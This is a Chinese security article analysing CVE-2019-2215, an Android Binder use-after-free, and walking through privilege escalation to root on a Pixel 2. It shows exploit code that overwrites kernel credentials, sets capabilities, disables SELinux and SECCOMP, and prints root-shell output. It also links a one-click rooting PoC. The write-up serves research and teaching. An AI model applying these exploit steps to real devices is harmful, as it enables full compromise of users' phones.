Android Binder Driver UAF 漏洞实现 Root 提权分析(CVE-2019-2215) - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

Android Binder Driver UAF 漏洞实现 Root 提权分析(CVE-2019-2215)

h1apwn 新闻 2019-10-22 11:27:48
896368
收藏

导语:Qu1ckR00t是一段PoC,仅在Pixel 2上进行了测试。在任何其他设备/内核上运行它可能会导致崩溃甚至数据丢失。如果提示安装,请勿安装额外的Magisk环境文件或升级Magisk,因为这会修补引导程序,从而在下次引导时破坏DM-Verity,从而在需要刷新时可能导致数据丢失。 最重要的是,Magisk不是要以这种方式安装的,无需对Magisk进行进一步的修补。 关于Qu1ckR00t并没有什么新奇的东西,但是对Android上典型的iOS越狱流程有所了解是很酷的。也许将来,如果像三星这样的OEM完全取消OEM Unlock,这种提权到root的方法将重新流行。

0x00  漏洞描述

当Project Zero紧急发布CVE-2019-2215漏洞公告时,我决定将漏洞利用代码复制到本地设备上进行复现分析。我正好有一个存在漏洞的Pixel 2手机。我需要做的就是编译漏洞exp并通过ADB运行exp代码。我下载了最新的Android NDK并编译了PoC:

 [grant ~/Downloads/android-ndk-r20 >> ./toolchains/llvm/prebuilt/darwin-x86_64/bin/aarch64-linux-android29-clang -o poc ../poc.c
 [grant ~/Downloads/android-ndk-r20 >> adb push poc /data/local/tmp/poc
 poc: 1 file pushed. 0.8 MB/s (22528 bytes in 0.026s)

我在设备上运行PoC后,发现了提权漏洞。

1571368359072.png

PoC代码提供了完整的内核读/写原语,最终可以获取root权限。这就提出了一个问题:“root”对于现代Android系统到底意味着什么?要回答这个问题,我们必须首先了解Android如何实施其安全策略的。

Android通过分层实施方法来防御恶意应用程序。以下是主要部分:

1571368501867.png

· 任意访问控制(DAC) -UNIX权限(用户/组ID,R / W / X对象权限

· 强制访问控制(MAC) -通过SELinux / SEAndroid强制执行类型(实际上是谁可以与谁以及如何进行对话的白名单)

· Linux功能(CAP) -将功能强大的root用户分成几个权限片(CAP_XYZ)

· SECCOMP-允许过滤/阻止系统调用,有效地限制了内核的攻击面

· Android的中间件 -限定如典型Android应用权限android_manifest.xml如android.permission.INTERNET(通常由执行system_server)

为了获得完整的root shell,我们需要绕过每个执行层(Android中间件除外,因为漏洞利用针对的是binder,它不需要任何中间件检查即可访问)。在现代Android系统上,这可以防范不会出现重大内核漏洞,但是,借助可访问应用程序的内核漏洞,我们可以相对轻松地绕过或禁用这些功能。对于系统上的每个任务,Linux内核都会在task_struct结构中跟踪其状态 。此状态碰巧包括与安全性相关的详细信息,例如所有用户ID,其SELinux上下文,其具有的功能,是否启用SECCOMP等等。如果我们能够针对特定目标task_struct使用我们的R / W原语,我们将能够将这些值更改为我们想要的值。例如,如果我们针对当前进程实现特权提升(EoP)。

0x01  提权到root权限

绕过DAC和CAP

有了指向当前task_struct的指针,我们所需的就是从开始到当前进程凭证的正确偏移量。然后,我们可以读取指针值,并在随后的调用中使用它来戳我们的凭据。

credLinux中的struct具有我们希望更改的所有优点,以升级我们的当前流程。这是源于最新版本Linux内核的源代码

 struct cred {
  atomic_t usage;
 #ifdef CONFIG_DEBUG_CREDENTIALS
  atomic_t subscribers; /* number of processes subscribed */
  void  *put_addr;
  unsigned magic;
 #define CRED_MAGIC 0x43736564
 #define CRED_MAGIC_DEAD 0x44656144
 #endif
  kuid_t  uid;  /* real UID of the task */
  kgid_t  gid;  /* real GID of the task */
  kuid_t  suid;  /* saved UID of the task */
  kgid_t  sgid;  /* saved GID of the task */
  kuid_t  euid;  /* effective UID of the task */
  kgid_t  egid;  /* effective GID of the task */
  kuid_t  fsuid;  /* UID for VFS ops */
  kgid_t  fsgid;  /* GID for VFS ops */
  unsigned securebits; /* SUID-less security management */
  kernel_cap_t cap_inheritable; /* caps our children can inherit */
  kernel_cap_t cap_permitted; /* caps we're permitted */
  kernel_cap_t cap_effective; /* caps we can actually use */
  kernel_cap_t cap_bset; /* capability bounding set */
  kernel_cap_t cap_ambient; /* Ambient capability set */
 #ifdef CONFIG_KEYS
  unsigned char jit_keyring; /* default keyring to attach requested
       * keys to */
  struct key *session_keyring; /* keyring inherited over fork */
  struct key *process_keyring; /* keyring private to this process */
  struct key *thread_keyring; /* keyring private to this thread */
  struct key *request_key_auth; /* assumed request_key authority */
 #endif
 #ifdef CONFIG_SECURITY
  void  *security; /* subjective LSM security */
 #endif
  struct user_struct *user; /* real user ID subscription */
  struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
  struct group_info *group_info; /* supplementary groups for euid/fsgid */
  /* RCU deletion */
  union {
   int non_rcu;   /* Can we skip RCU deletion? */
   struct rcu_head rcu;  /* RCU deletion hook */
  };
 } __randomize_layout;

需要更改很多大小不同的字段。在随机poking正确的偏移量之前,先要dump满足要求的内存结构。

 [grant ~/Downloads/android-ndk-r20 >> adb shell /data/local/tmp/poc shell
 CHILD: Doing EPOLL_CTL_DEL.
 CHILD: Finished EPOLL_CTL_DEL.
 CHILD: Finished write to FIFO.
 writev() returns 0x2000
 PARENT: Finished calling READV
 current_ptr == 0xffffffea05065700
 CHILD: Doing EPOLL_CTL_DEL.
 CHILD: Finished EPOLL_CTL_DEL.
 writev() returns 0x2000
 PARENT: Finished calling READV
 current_ptr == 0xffffffea05065700
 recvmsg() returns 49, expected 49
 should have stable kernel R/W now :)
 current->mm == 0xffffffeaafefc100
 current->mm->user_ns == 0xffffff98848af2c8
 kernel base is 0xffffff9882880000
 &init_task == 0xffffff98848a57d0
 init_task.cred == 0xffffff98848b0b08
 init->cred
 00000000  04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
 00000010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
 00000020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
 00000030  ff ff ff ff 3f 00 00 00 ff ff ff ff 3f 00 00 00  |....?.......?...|
 00000040  ff ff ff ff 3f 00 00 00 00 00 00 00 00 00 00 00  |....?...........|
 00000050  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
 00000060  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
 00000070  00 00 00 00 00 00 00 00 80 d4 42 b9 ea ff ff ff  |..........B.....|
 00000080  c8 f3 8a 84 98 ff ff ff c8 f2 8a 84 98 ff ff ff  |................|
 00000090  78 0a 8b 84 98 ff ff ff 00 00 00 00 00 00 00 00  |x...............|
 current->cred == 0xffffffeab30a5b40
 Starting as uid 2000
 current->cred
 00000000  1a 00 00 00 d0 07 00 00 d0 07 00 00 d0 07 00 00  |................|
 00000010  d0 07 00 00 d0 07 00 00 d0 07 00 00 d0 07 00 00  |................|
 00000020  d0 07 00 00 2f 00 00 00 00 00 00 00 00 00 00 00  |..../...........|
 00000030  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
 00000040  c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
 00000050  00 00 00 00 00 00 00 00 c0 b6 9d f2 c3 ff ff ff  |........@..2....|
 00000060  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
 00000070  00 00 00 00 00 00 00 00 00 29 ce 69 c4 ff ff ff  |................|
 00000080  00 50 22 74 c4 ff ff ff c8 f2 aa 14 9e ff ff ff  |...1............|
 00000090  00 33 fa 9e c3 ff ff ff 00 00 00 00 00 00 00 00  |................|

查看下面的十六进制的dump数据,可以看到一些模式。我们当前的UID(以十六进制表示)为0x07d0。可以很容易地看到,在下面手动重新格式化的hexdump中,肯定有一个正确的指针指向凭证结构:

 ~~~ Dump of current->cred ~~~
 OFF | VALUE
  0  | 1a000000 // usage
  4  | d0070000 // uid
  8  | d0070000 // gid
  c  | d0070000 // suid
 10  | d0070000 // sgid
 14  | d0070000 // euid
 18  | d0070000 // egid
 1c  | d0070000 // fsuid
 20  | d0070000 // fsgid
 24  | 2f000000 // securebits
 28  | 0000000000000000 // cap inh
 30  | 0000000000000000 // cap perm
 38  | 0000000000000000 // cap eff
 40  | c000000000000000 // cap bound
 48  | 0000000000000000 // cap ambient
 50  | 0000000000000000 // jit keyring
 58  | c0b69df2c3ffffff // session keyring
 60  | 0000000000000000 // process keyring
 68  | 0000000000000000 // thread keyring
 70  | 0000000000000000 // request key auth
 78  | 0029ce69c4ffffff // cred->security
 80  | 00502274c4ffffff // user struct
 88  | c8f2aa149effffff // user namespace
 90  | 0033fa9ec3ffffff // group info

使用此映射,需要先获得root用户权限,首先将所有uid和gids设置为0。

 uid_t uid = getuid();
 unsigned long my_cred = kernel_read_ulong(current_ptr + OFFSET__task_struct__cred);
 
 printf("current->cred == 0x%lx\n", my_cred);
 
 printf("Starting as uid %u\n", uid);
 printf("Escalating...\n");
 
 // change IDs to root (there are eight)
 for (int i = 0; i < 8; i++)
   kernel_write_uint(my_cred+4 + i*4, 0);
 
 if (getuid() != 0) {
   printf("Something went wrong changing our UID to root!\n");
   exit(1);
 }
 
 printf("UIDs changed to root!\n");

开始执行shell证明获得了root权限,但是只有其中的DAC部分。

 ...
 UIDs changed to root!
 Spawning shell!
 id
 uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0

接下来以功能为目标,将每个功能位设置为1并清除安全位

 // reset securebits
 kernel_write_uint(my_cred+0x24, 0);
 
 // change capabilities to everything (perm, effective, bounding)
 for (int i = 0; i < 3; i++)
   kernel_write_ulong(my_cred+0x30 + i*8, 0x3fffffffffUL);
 
 printf("Capabilities set to ALL\n");

现在从现有的Linux角度来看,已经完全获得了root权限,但是Android的MAC策略仍然将我们的root用户锁定为u:r:shell:s0上下文可以执行的操作。

禁用SELinux

现在该采取最严格的安全策略了:SELinux。在cred的过程的结构中,我们可以看到security类型,其偏移量为0x78:

 ...
 #ifdef CONFIG_SECURITY
  void  *security; /* subjective LSM security */
 #endif
 ...

这是struct task_security_struct由security / selinux / hooks.c中的selinux_cred_alloc_blank函数分配的指针。

该结构的定义如下:

 struct task_security_struct {
  u32 osid;  /* SID prior to last execve */
  u32 sid;  /* current SID */
  u32 exec_sid;  /* exec SID */
  u32 create_sid;  /* fscreate SID */
  u32 keycreate_sid; /* keycreate SID */
  u32 sockcreate_sid; /* fscreate SID */
 };

我们主要关心该sid,因为这决定了SELinux上下文。我们将其设置为另一个更高特权的SID,例如内核(SID = 1)或init(SID = 7)(初始SID列表)!

 unsigned long current_cred_security = kernel_read_ulong(my_cred+0x78);
 
 // change SID to kernel
 kernel_write_uint(current_cred_security + 4, 1);
 printf("[+] SID -> kernel (1)\n");

该exp会一直执行,直到我们更改SID为止,此时的ADB连接将挂起。为什么会挂起?因为仅更改已连接并与他人通信的进程的SID并不能保证正常工作。它取决于目标SID的SELinux策略。

 walleye:/ $ cat /proc/xxx/attr/current
 u:r:kernel:s0

确实做到了,但看起来像直接将自己提升shell到现在kernel是行不通的。需要采取另一种方法并完全禁用SELinux。禁用SELinux是Android内核利用的一种流行技术,可以通过内核R / W原语实现。唯一需要注意的是,需要知道与selinux_enforcing符号内核基数的偏移量。如果碰巧前面有一个正在运行的内核构建树,则可以使用pahole原始PoC源代码中提到的方法找到该符号。但是,如果我们只有一个内核二进制文件怎么办?

恢复selinux_enforcing

我将详细介绍为Pixel 24.4.177-g83bee1dc48e8内核恢复此符号所采取的步骤。对该字符串进行谷歌搜索将导致[ wahoo-kernel repo]。从这里我们可以下载Image.lz4-dtb文件,该文件恰好与我正在运行的内核匹配。下载此文件,有一个压缩的内核映像。解压缩后得到一个vmlinux文件:

 [grant ~/Downloads >> lz4 -d Image.lz4-dtb Image
 Decompressed : 34 MB  Stream followed by undecodable data at position 14571037
 Image.lz4-dtb        : decoded 36238336 bytes
 [grant ~/Downloads >> strings Image | grep "Linux version "
 Linux version 4.4.177-g83bee1dc48e8 (android-build@abfarm-us-west1-c-0087) (Android (5484270 based on r353983c) clang version 9.0.3 (https://android.googlesource.com/toolchain/clang 745b335211bb9eadfa6aa6301f84715cee4b37c5) (https://android.googlesource.com/toolchain/llvm 60cf23e54e46c807513f7a36d0a7b777920b5881) (based on LLVM 9.0.3svn)) #1 SMP PREEMPT Mon Jul 22 20:12:03 UTC 2019

现在需要深入研究并恢复kallsyms表。有一个非常好的工具可以完成所有步骤:https : //github.com/nforest/droidimg。克隆并安装droidimg的依赖项,在解压缩的映像上运行它:

 [grant ~/Downloads/droidimg >> ./vmlinux.py Image
 Linux version 4.4.177-g83bee1dc48e8 (android-build@abfarm-us-west1-c-0087) (Android (5484270 based on r353983c) clang version 9.0.3 (https://android.googlesource.com/toolchain/clang 745b335211bb9eadfa6aa6301f84715cee4b37c5) (https://android.googlesource.com/toolchain/llvm 60cf23e54e46c807513f7a36d0a7b777920b5881) (based on LLVM 9.0.3svn)) #1 SMP PREEMPT Mon Jul 22 20:12:03 UTC 2019
 [+]kallsyms_arch = arm64
 [!]could be offset table...
 [!]lookup_address_table error...
 [!]get kallsyms error...

查找kallsyms表时发生错误。怀疑这与KASLR有关,参阅自述文件中的一些说明。运行droidimg提供的工具来修复二进制文件以便进一步提取:

 [grant ~/Downloads/droidimg >> gcc -o fix_kaslr_arm64 fix_kaslr_arm64.c
 fix_kaslr_arm64.c:265:5: warning: always_inline function might not be inlinable [-Wattributes]
  int main(int argc, char **argv)
 
 [grant ~/Downloads/droidimg >> ./fix_kaslr_arm64 Image Image_kaslr
 Original kernel: image_dec, output file: image_dec_kaslr
 kern_buf @ 0x7f4105ea2000, mmap_size = 36241408
 rela_start = 0xffffff80098d66d0
 p->info = 0x0
 rela_end = 0xffffff800a0810d8
 335004 entries processed

最后可以获取符号表:

 [grant ~/Downloads/droidimg >> ./vmlinux.py Image_kaslr
 Linux version 4.4.177-g83bee1dc48e8 ...
 [+]kallsyms_arch = arm64
 [+]numsyms: 131603
 [+]kallsyms_address_table = 0x11acc00
 [+]kallsyms_num = 131603 (131603)
 [+]kallsyms_name_table = 0x12ade00
 [+]kallsyms_type_table = 0x0
 [+]kallsyms_marker_table = 0x1469900
 [+]kallsyms_token_table = 0x146aa00
 [+]kallsyms_token_index_table = 0x146ae00
 [+]kallsyms_start_address = 0xffffff8008080000L
 [+]found 9915 symbols in ksymtab
 ffffff8008080000 t _head
 ffffff8008080000 T _text
 ...

扫描输出符号,selinux_enforcing找不到!阅读droidimg的源代码表明,它具有一种特殊的模式,该模式使用Miasm恢复未导出的符号,即selinux_enforcing。在Miasm支持下重新运行会出现以下符号:ffffff800a44e4a8 B selinux_enforcing。减去ffffff8008080000 t _head后得出的偏移量为0x23ce4a8。

最后,可以在漏洞利用中禁用SELinux:

 #define SYMBOL__selinux_enforcing 0x23ce4a8
 
 unsigned int enforcing = kernel_read_uint(kernel_base + SYMBOL__selinux_enforcing);
 
 printf("SELinux status = %u\n", enforcing);
 
 if (enforcing) {
   printf("Setting SELinux to permissive\n");
   kernel_write_uint(kernel_base + SYMBOL__selinux_enforcing, 0);
 } else {
   printf("SELinux is already in permissive mode\n");
 }

禁用SECCOMP

运行漏洞利用程序不受任何SECCOMP策略的影响。例如,我用来为Magisk创建tmpfs的mount命令/sbin不再挂载。SECCOMP正在执行,并限制了应用程序及其子级能够访问任何旧的syscall。

像我们任务的DAC,CAP和MAC状态一样,SECCOMP也作为seccomp内联结构存在于task_struct中:

 struct seccomp {
  int mode;
  struct seccomp_filter *filter;
 };

mode可以是0(禁止),SECCOMP_MODE_STRICT或SECCOMP_MODE_FILTER。SECCOMP通常在过滤器模式下使用,在该模式下,将创建一个eBPF程序以在每个系统调用上执行,并返回ALLOW或DENY,类似于防火墙规则。该过滤器由filter参数指向。禁用SECCOMP就像将其更改mode为0 一样,但这只会导致内核崩溃。

启用SECCOMP时,它还会在task_struct->thread_info.flags结构中设置TIF_SECCOMPflag,初始syscall序将使用该flag来确定是否需要进行任何过滤。在重设此flag之前重设mode会导致在__secure_computing函数的一个BUG()。要完全禁用SECCOMP,要清除此flag。为了防止SECCOMP在fork()该模式下被复制到子进程,则需要清除(过滤器也是如此)。

 #define OFFSET__task_struct__thread_info__flags 0 // if CONFIG_THREAD_INFO_IN_TASK is defined
 
 // Grant: SECCOMP isn't enabled when running the poc from ADB, only from app contexts
 if (prctl(PR_GET_SECCOMP) != 0) {
   printf("Disabling SECCOMP\n");
 
   // clear the TIF_SECCOMP flag and everything else :P (feel free to modify this to just clear the single flag)
   // arch/arm64/include/asm/thread_info.h:#define TIF_SECCOMP 11
   kernel_write_ulong(current_ptr + OFFSET__task_struct__thread_info__flags, 0);
   kernel_write_ulong(current_ptr + OFFSET__task_struct__cred + 0xa8, 0);
   kernel_write_ulong(current_ptr + OFFSET__task_struct__cred + 0xa0, 0); // this offset was eyeballed
 
   if (prctl(PR_GET_SECCOMP) != 0) {
     printf("Failed to disable SECCOMP!\n");
     exit(1);
   } else {
     printf("SECCOMP disabled!\n");
   }
 } else {
   printf("SECCOMP is already disabled!\n");
 }

最后,在禁用SECCOMP的情况下获得了完整的root shell:

 walleye:/ $ /data/local/tmp/poc
 usage: /data/local/tmp/poc [shell|shell_exec]
 /data/local/tmp/poc shell - spawns an interactive shell
 /data/local/tmp/poc shell_exec "command" - runs the provided command in an escalated shell
 1|walleye:/ $ /data/local/tmp/poc shell
 CHILD: Doing EPOLL_CTL_DEL.
 CHILD: Finished EPOLL_CTL_DEL.
 CHILD: Finished write to FIFO.
 writev() returns 0x2000
 PARENT: Finished calling READV
 current_ptr == 0xffffffeaa7e86580
 CHILD: Doing EPOLL_CTL_DEL.
 CHILD: Finished EPOLL_CTL_DEL.
 recvmsg() returns 49, expected 49
 should have stable kernel R/W now :)
 current->mm == 0xffffffeab3991040
 current->mm->user_ns == 0xffffff98848af2c8
 kernel base is 0xffffff9882880000
 current->cred == 0xffffffeaa0223540
 Starting as uid 2000
 Escalating...
 UIDs changed to root!
 Capabilities set to ALL
 SELinux status = 1
 Setting SELinux to permissive
 Re-joining the init mount namespace...
 Re-joining the init net namespace...
 SECCOMP disabled!
 Spawning shell!
 :/ # id
 uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0
 :/ # getenforce
 Permissive

如果这种漏洞利用你也很感兴趣,并且你想学习更多或练习,那么我建议尝试一些非常好的Linux内核利用CTF题目:Brad OderbergsuckerusuStringIPCpwnable.kr(Rootkiss / syscall)

内核漏洞技术索引:

https://github.com/xairy/linux-kernel-exploitation

0x02 Qu1ckR00t

我创建了Qu1ckR00t(名称是satire)作为一键提权root的程序。

Qu1ckR00t是一段PoC,仅在Pixel 2上进行了测试。在任何其他设备/内核上运行它可能会导致崩溃甚至数据丢失。如果提示安装,请勿安装额外的Magisk环境文件或升级Magisk,因为这会修补引导程序,从而在下次引导时破坏DM-Verity,从而在需要刷新时可能导致数据丢失。

最重要的是,Magisk不是要以这种方式安装的,无需对Magisk进行进一步的修补。

关于Qu1ckR00t并没有什么新奇的东西,但是对Android上典型的iOS越狱流程有所了解是很酷的。也许将来,如果像三星这样的OEM完全取消OEM Unlock,这种提权到root的方法将重新流行。

Qu1ckr00t源代码:https : //github.com/grant-h/qu1ckr00t。

  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2022 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务